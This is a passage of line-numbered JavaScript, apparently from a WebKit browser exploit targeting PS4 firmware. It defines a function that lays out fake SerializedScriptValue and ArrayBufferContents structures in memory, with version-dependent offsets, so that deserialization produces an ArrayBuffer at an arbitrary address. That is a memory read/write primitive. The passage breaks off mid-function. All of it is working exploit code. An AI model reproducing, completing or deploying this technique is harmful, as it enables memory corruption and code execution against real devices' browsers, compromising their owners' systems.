| 589 | // setup to make deserialization create an ArrayBuffer with an arbitrary buffer |
| 590 | // address |
| 591 | function make_ssv_data(ssv_buf, view, view_p, addr, size) { |
| 592 | // sizeof JSC::ArrayBufferContents |
| 593 | const size_abc = (() => { |
| 594 | if (is_ps4) { |
| 595 | return 0x20; |
| 596 | } else { |
| 597 | return version >= 0x300 ? 0x18 : 0x20; |
| 598 | } |
| 599 | })(); |
| 600 | |
| 601 | const data_len = 9; |
| 602 | // sizeof WTF::Vector<T> |
| 603 | const size_vector = 0x10; |
| 604 | |
| 605 | // SSV offsets |
| 606 | const off_m_data = 8; |
| 607 | const off_m_abc = 0x18; |
| 608 | // view offsets |
| 609 | const voff_vec_abc = 0; // Vector<ArrayBufferContents> |
| 610 | const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents |
| 611 | const voff_data = voff_abc + size_abc; |
| 612 | |
| 613 | // WTF::Vector<unsigned char> |
| 614 | // write m_data |
| 615 | // m_buffer |
| 616 | ssv_buf.write64(off_m_data, view_p.add(voff_data)); |
| 617 | // m_capacity |
| 618 | ssv_buf.write32(off_m_data + 8, data_len); |
| 619 | // m_size |
| 620 | ssv_buf.write64(off_m_data + 0xc, data_len); |
| 621 | |
| 622 | // 6 is the serialization format version number for ps4 6.00. The format |
| 623 | // is backwards compatible and using a value less than the current version |
| 624 | // number used by a specific WebKit version is considered valid. |
| 625 | // |
| 626 | // See CloneDeserializer::isValid() from |
| 627 | // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x. |
| 628 | const CurrentVersion = 6; |
| 629 | const ArrayBufferTransferTag = 23; |
| 630 | view.write32(voff_data, CurrentVersion); |
| 631 | view[voff_data + 4] = ArrayBufferTransferTag; |
| 632 | view.write32(voff_data + 5, 0); |
| 633 | |
| 634 | // std::unique_ptr<WTF::Vector<JSC::ArrayBufferContents>> |
| 635 | // write m_arrayBufferContentsArray |
| 636 | ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc)); |
| 637 | // write WTF::Vector<JSC::ArrayBufferContents> |
| 638 | view.write64(voff_vec_abc, view_p.add(voff_abc)); |
| 639 | view.write32(voff_vec_abc + 8, 1); |
| 640 | view.write32(voff_vec_abc + 0xc, 1); |
| 641 | |
| 642 | if (size_abc === 0x20) { |
| 643 | // m_destructor, offset 0, leave as 0 |
| 644 | // m_shared, offset 8, leave as 0 |
| 645 | // m_data |
| 646 | view.write64(voff_abc + 0x10, addr); |
| 647 | // m_sizeInBytes |
| 648 | view.write32(voff_abc + 0x18, size); |